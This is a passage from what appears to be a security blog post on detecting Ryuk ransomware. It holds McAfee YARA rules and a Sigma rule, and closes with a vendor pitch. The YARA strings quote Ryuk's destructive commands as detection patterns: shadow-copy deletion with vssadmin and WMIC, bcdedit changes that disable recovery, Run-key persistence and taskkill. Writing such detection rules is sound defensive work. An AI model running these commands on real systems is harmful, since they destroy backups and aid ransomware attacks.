    8        rule_version = "v2"
    9        malware_type = "ransomware"
    10        malware_family = "Ransom:W32/Ryuk"
    11        actor_type = "Cybercrime"
    12        actor_group = "Unknown"
    13        reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/"
    16    strings:
    18        $x1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
    19        $x2 = "\\System32\\cmd.exe" fullword wide
    20        $s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects\\ConsoleApplication54new crypted" ascii
    21        $s2 = "fg4tgf4f3.dll" fullword wide
    22        $s3 = "lsaas.exe" fullword wide
    23        $s4 = "\\Documents and Settings\\Default User\\sys" fullword wide
    24        $s5 = "\\Documents and Settings\\Default User\\finish" fullword wide
    25        $s6 = "\\users\\Public\\sys" fullword wide
    26        $s7 = "\\users\\Public\\finish" fullword wide
    27        $s8 = "You will receive btc address for payment in the reply letter" fullword ascii
    28        $s9 = "hrmlog" fullword wide
    29        $s10 = "No system is safe" fullword ascii
    30        $s11 = "keystorage2" fullword wide
    31        $s12 = "klnagent" fullword wide
    32        $s13 = "sqbcoreservice" fullword wide
    33        $s14 = "tbirdconfig" fullword wide
    34        $s15 = "taskkill" fullword wide
    36        $op0 = { 8b 40 10 89 44 24 34 c7 84 24 c4 }
    37        $op1 = { c7 44 24 34 00 40 00 00 c7 44 24 38 01 }
    39    condition:
    41        ( uint16(0) == 0x5a4d and
    42        filesize < 400KB and
    43        ( 1 of ($x*) and
    44        4 of them ) and
    45        all of ($op*)) or
    46        ( all of them )
    47    }
    49    rule Ransom_Ryuk_sept2020 {
    50    meta:
    51        description = "Detecting latest Ryuk samples"
    52        author = "McAfe ATR"
    53        date = "2020-10-13"
    54        malware_type = "ransomware"
    55        malware_family = "Ransom:W32/Ryuk"
    56        actor_type = "Cybercrime"
    57        actor_group = "Unknown"
    58        hash1 = "cfdc2cb47ef3d2396307c487fc3c9fe55b3802b2e570bee9aea4ab1e4ed2ec28"
    59    strings:
    60        $x1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii
    61        $x2 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii
    62        $x3 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii
    63        $x4 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii
    64        $x5 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
    65        $x6 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii
    66        $x7 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide
    67        $x8 = "W/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide
    68        $x9 = "\\System32\\cmd.exe" fullword wide
    69        $s10 = "Ncsrss.exe" fullword wide
    70        $s11 = "lsaas.exe" fullword wide
    71        $s12 = "lan.exe" fullword wide
    72        $s13 = "$WGetCurrentProcess" fullword ascii
    73        $s14 = "\\Documents and Settings\\Default User\\sys" fullword wide
    74        $s15 = "Ws2_32.dll" fullword ascii
    75        $s16 = " explorer.exe" fullword wide
    76        $s17 = "e\\Documents and Settings\\Default User\\" fullword wide
    77        $s18 = "\\users\\Public\\" fullword ascii
    78        $s19 = "\\users\\Public\\sys" fullword wide
    79        $s20 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
    81        $seq0 = { 2b c7 50 e8 30 d3 ff ff ff b6 8c }
    82        $seq1 = { d1 e0 8b 4d fc 8b 14 01 89 95 34 ff ff ff c7 45 }
    83        $seq2 = { d1 e0 8b 4d fc 8b 14 01 89 95 34 ff ff ff c7 45 }
    84    condition:
    85        ( uint16(0) == 0x5a4d and
    86        filesize < 400KB and
    87        ( 1 of ($x*) and 5 of them ) and
    88        all of ($seq*)) or ( all of them )
    89    }
    91    rule RANSOM_RYUK_May2021 : ransomware
    92    {
    93        meta:
    94            description = "Rule to detect latest May 2021 compiled Ryuk variant"
    95            author = "Marc Elias | McAfee ATR Team"
    96            date = "2021-05-21"
    97            hash = "8f368b029a3a5517cb133529274834585d087a2d3a5875d03ea38e5774019c8a"
    98            version = "0.1"
    100        strings:
    101            $ryuk_filemarker = "RYUKTM" fullword wide ascii
    103            $sleep_constants = { 68 F0 49 02 00 FF (15|D1) [0-4] 68 ?? ?? ?? ?? 6A 01 }
    104            $icmp_echo_constants = { 68 A4 06 00 00 6A 44 8D [1-6] 5? 6A 00 6A 20 [5-20] FF 15 }
    106        condition:
    107            uint16(0) == 0x5a4d
    108            and uint32(uint32(0x3C)) == 0x00004550
    109            and filesize < 200KB
    110            and ( $ryuk_filemarker
    111            or ( $sleep_constants
    112            and $icmp_echo_constants ))
    113    }
  • Ryuk Behaviour Detection using Sigma Rules:

    1title: Ryuk Ransomware
    2id: c37510b8-2107-4b78-aa32-72f251e7a844
    3status: test
    4description: Detects Ryuk ransomware activity
    5author: Florian Roth
    7  - https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/
    8date: 2019/12/16
    9modified: 2021/11/27
    11category: process_creation
    12product: windows
    15  CommandLine|contains|all:
    16    - 'Microsoft\Windows\CurrentVersion\Run'
    17    - 'C:\users\Public\'
    18condition: selection
    20  - CommandLine
    21  - ParentCommandLine
    23  - Unlikely
    24level: critical
    26  - attack.persistence
    27  - attack.t1547.001


In summary, this attack flow for the Ryuk ransomware group will help security practitioners evaluate their security and incident response processes and improve their security control posture against an actor with focused operations to encrypt your systems and data.

FourCore ATTACK is a continuous security validation platform providing assessments for your entire security infrastructure to test and validate your security posture quickly and effectively.


  1. RYUK Ransomware
  2. Ryuk Ransomware Detailed Analysis
  3. Ryuk targetting web servers
  4. The Curious Case of Ryuk Ransomware
  5. Ryuk Ransomware: The complete breakdown
  6. Ryuk over time
  7. Deep Analysis Ryuk
  8. Latest Ryuk Trends
  9. AnyRun Sim
  10. Scythe Simulation Playbook